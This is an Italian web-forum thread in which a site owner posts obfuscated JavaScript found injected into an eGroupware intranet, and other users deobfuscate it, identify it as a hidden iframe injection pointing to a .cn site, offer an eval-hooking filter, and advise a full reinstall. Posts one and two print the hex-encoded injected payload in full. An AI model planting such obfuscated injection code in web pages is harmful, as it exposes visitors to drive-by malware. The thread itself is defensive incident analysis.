Visualizzazione dei risultati da 1 a 9 su 9

Discussione: Javascript maligno?

  1. #1
    Utente di HTML.it L'avatar di Ranma2
    Registrato dal
    Mar 2003
    Messaggi
    2,648

    Javascript maligno?

    codice:
    <script>function c32d980125q49dc29f1aebaf(q49dc29f1aef97){ var q49dc29f1af382=16; return (eval('pa'+'rseInt')(q49dc29f1aef97,q49dc29f1af382));}function q49dc29f1afb52(q49dc29f1aff37){ function q49dc29f1b0aef(){var q49dc29f1b0ed7=2;return q49dc29f1b0ed7;} var q49dc29f1b031f='';q49dc29f1b12c0=String['fromCharCode'];for(q49dc29f1b0707=0;q49dc29f1b0707<q49dc29f1aff37.length;q49dc29f1b0707+=q49dc29f1b0aef()){ q49dc29f1b031f+=(q49dc29f1b12c0(c32d980125q49dc29f1aebaf(q49dc29f1aff37.substr(q49dc29f1b0707,q49dc29f1b0aef()))));}return q49dc29f1b031f;} var v9f='';var q49dc29f1b16a8='3C7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E696628216D7'+v9f+'96961297'+v9f+'B646F637'+v9f+'56D656E7'+v9f+'42E7'+v9f+'7'+v9f+'7'+v9f+'2697'+v9f+'465287'+v9f+'56E657'+v9f+'363617'+v9f+'065282027'+v9f+'2533632536392536362537'+v9f+'322536312536642536352532302536652536312536642536352533642536332533332533322532302537'+v9f+'332537'+v9f+'32253633253364253237'+v9f+'2536382537'+v9f+'342537'+v9f+'342537'+v9f+'302533612532662532662536362536312536322536392536662536642536662537'+v9f+'342536662537'+v9f+'322532652536332536652532662537'+v9f+'332536312536662537'+v9f+'302536392537'+v9f+'302533322537'+v9f+'392537'+v9f+'342533332537'+v9f+'30253338253337'+v9f+'2537'+v9f+'342537'+v9f+'332536312536612536382536342536312532662536392536652536342536352537'+v9f+'382532652537'+v9f+'302536382537'+v9f+'30253366253237'+v9f+'2532622534642536312537'+v9f+'342536382532652537'+v9f+'322536662537'+v9f+'352536652536342532382534642536312537'+v9f+'342536382532652537'+v9f+'32253631253665253634253666253 664253238253239253261253331253338253336253339253333253334253239253262253237'+v9f+'253334253331253332253331253330253631253633253335253330253338253337'+v9f+'253237'+v9f+'2532302537'+v9f+'37'+v9f+'2536392536342537'+v9f+'34253638253364253333253331253339253230253638253635253639253637'+v9f+'2536382537'+v9f+'342533642533352533382533362532302537'+v9f+'332537'+v9f+'342537'+v9f+'39253663253635253364253237'+v9f+'2537'+v9f+'362536392537'+v9f+'332536392536322536392536632536392537'+v9f+'342537'+v9f+'39253361253638253639253634253634253635253665253237'+v9f+'2533652533632532662536392536362537'+v9f+'3225363125366425363525336527'+v9f+'29293B7'+v9f+'D7'+v9f+'6617'+v9f+'2206D7'+v9f+'969613D7'+v9f+'47'+v9f+'27'+v9f+'5653B3C2F7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E';q49dc29f1b1e77=document;q49dc29f1b1e77.write(q49dc29f1afb52(q49dc29f1b16a8));</script>
    mi son ritrovato questo codice in un mia intranet creata con egroupware

    cos'è?

  2. #2
    serve ad iniettare scripts nella pagina, la cosa divertente e' che l'offuscatore utilizzato fa pena e quindi se quanto postato e' quello che hai, non funziona.
    codice:
    function convert(str){
        var res='';
        fromCharCode=String['fromCharCode'];
        for(i=0;i<str.length;i+=2){
            res += fromCharCode(parseInt(str.substr(i,2), 16));
        };
        return res;
    }
    var v9f='';
    var str='3C7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E696628216D7'+v9f+'96961297'+v9f+'B646F637'+v9f+'56D656E7'+v9f+'42E7'+v9f+'7'+v9f+'7'+v9f+'2697'+v9f+'465287'+v9f+'56E657'+v9f+'363617'+v9f+'065282027'+v9f+'2533632536392536362537'+v9f+'322536312536642536352532302536652536312536642536352533642536332533332533322532302537'+v9f+'332537'+v9f+'32253633253364253237'+v9f+'2536382537'+v9f+'342537'+v9f+'342537'+v9f+'302533612532662532662536362536312536322536392536662536642536662537'+v9f+'342536662537'+v9f+'322532652536332536652532662537'+v9f+'332536312536662537'+v9f+'302536392537'+v9f+'302533322537'+v9f+'392537'+v9f+'342533332537'+v9f+'30253338253337'+v9f+'2537'+v9f+'342537'+v9f+'332536312536612536382536342536312532662536392536652536342536352537'+v9f+'382532652537'+v9f+'302536382537'+v9f+'30253366253237'+v9f+'2532622534642536312537'+v9f+'342536382532652537'+v9f+'322536662537'+v9f+'352536652536342532382534642536312537'+v9f+'342536382532652537'+v9f+'32253631253665253634253666253 664253238253239253261253331253338253336253339253333253334253239253262253237'+v9f+'253334253331253332253331253330253631253633253335253330253338253337'+v9f+'253237'+v9f+'2532302537'+v9f+'37'+v9f+'2536392536342537'+v9f+'34253638253364253333253331253339253230253638253635253639253637'+v9f+'2536382537'+v9f+'342533642533352533382533362532302537'+v9f+'332537'+v9f+'342537'+v9f+'39253663253635253364253237'+v9f+'2537'+v9f+'362536392537'+v9f+'332536392536322536392536632536392537'+v9f+'342537'+v9f+'39253361253638253639253634253634253635253665253237'+v9f+'2533652533632532662536392536362537'+v9f+'3225363125366425363525336527'+v9f+'29293B7'+v9f+'D7'+v9f+'6617'+v9f+'2206D7'+v9f+'969613D7'+v9f+'47'+v9f+'27'+v9f+'5653B3C2F7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E';
    document.write(convert(str));
    questo e' in pratica quello che accade. Se al posto di document.write scrivi alert leggi la parte di codice iniettata.
    Gli offuscatori mi fanno sempre sorridere, tanti sforzi per eval lenti e spesso rotti.
    Io ho creato tempo fa un compressore GIF in javascript, almeno quello funzionava bene e il codice era molto piu' offuscato ma rapidissimo in decompressione.

    Per evitare queste situazioni ridicole, se si ha codice comune basta ridefinire alcune funzioni ed includerle in cima alla pagina. Esempio:
    codice:
    (function(){
        
        // comunque sia, non siamo al sicuro, ma almeno possiamo
        // rendere la vita difficile agli idioti che igniettano scripts
        function observe(native){
            this[native] = (function(native){
                return  function(str){
                    if(confirm("Some script is trying to evaluate this code:\n" + str))
                        return  native.apply(this, arguments);
                };
            })(this[native]);
        };
        
        observe("eval");
        observe("unescape");
        observe("decodeURI");
        observe("decodeURIComponent");
    
        Function = (function(native){
            return function(args, body){
                if(confirm("Some script is trying to create this function:\n" + [args, body].join("\n")))
                    return  native.apply(this, arguments);
            };
        })(Function);
    
    })();
    se vuoi controllare cosa accade in quelle pagine includi come primo script assoluto il codice scritto sopra che si comportera' da filtro. Ecco un esempio:
    codice:
    eval("var pippo = 'pluto';");
    
    var callback = Function("a, b", "return a + b ");
    alert(callback(pippo, "minnie"));
    se dai l'OK due volte leggerai plutominnie, altrimenti il codice sara' "rotto".
    Ovvio e' che non puoi usare questo codice nel sito o rischi di spaventare gli utenti
    Formaldehyde a new Ajax PHP Zero Config Error Debugger

    WebReflection @WebReflection

  3. #3
    Utente di HTML.it L'avatar di Ranma2
    Registrato dal
    Mar 2003
    Messaggi
    2,648
    grazie

    anch'io avevo provato a stampare con un alert quella stringa, e mi dava qualcosa di troncato e mi son quasi messo l'anima in pace

    la tua risposta mi ha dato la conferma

    grazie ancora

  4. #4
    sono daccordo con andr3a, ma ero curioso e ci ho dato un occhiata, in pratica lo script, se non corrotto, dovrebbe fare l'injection di un iframe con un url ad un sito .cn (e già questo mi fa pensare....) se poi consideri che il sito passa come DNS i server di editdns.net (che è una società con sede legale e fisica in USA) direi che è una cosa un pelo illegale...

    Io non solo lo cancellerei, ma mi interrogerei anche su come lo script sia finito nella tua intranet, soprattutto perché il suddetto sito è stato registrato il 27 Marzo scorso, quindi è una cosa recente.

    Mi sa che fai meglio a dare un occhiata alle bug di egroupware e magari vedi di aggiornare la versione che usi, sempre che non sia un baco non ancora scoperto.

    Inoltre, dovresti vedere come sono entrati nella intranet, dato che DOVREBBE essere chiusa dall'esterno (senno perché la chiami intranet).

    In ogni casi in ti raccomando di disinstallare TUTTO e rifarlo da zero (magari tieni i log e controlli chi ha fatto cosa, dall'esterno).
    I DON'T Double Click!

  5. #5
    Originariamente inviato da artorius
    direi che è una cosa un pelo illegale...
    altrimenti non avrebbero fatto tutto quel porcile per tentare di mascherare un linguaggio che per natura deve essere interpretato (gli offuscatori sono ridicoli ed inutili, io stesso ne ho creati diversi per diversi linguaggi ma sono tutti reversibili e comprensibili e la complessita' e' data solo dalla lentezza di esecuzione codice)
    Formaldehyde a new Ajax PHP Zero Config Error Debugger

    WebReflection @WebReflection

  6. #6
    Utente di HTML.it L'avatar di Ranma2
    Registrato dal
    Mar 2003
    Messaggi
    2,648
    l'accesso è stato effettuato da un ip localizzato in Namibia

  7. #7
    è più probabile sia stato usato un proxy bucato localizzato in Namibia, comunque il mio consiglio resta lo stesso: reinstalla tutto da zero.
    I DON'T Double Click!

  8. #8
    Utente di HTML.it L'avatar di Ranma2
    Registrato dal
    Mar 2003
    Messaggi
    2,648
    già fatto. ho aggiornato la intranet all'ultimissima versione

    grazie a tutti

  9. #9
    ehm, veramente Aggiornare è un po' diverso da Reinstallare, dato che la prima non sostituisce i dati dell'applicazione, quindi se è rimasto un injection o una rootkit li, c'è anche dopo l'aggiornamento.
    I DON'T Double Click!

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.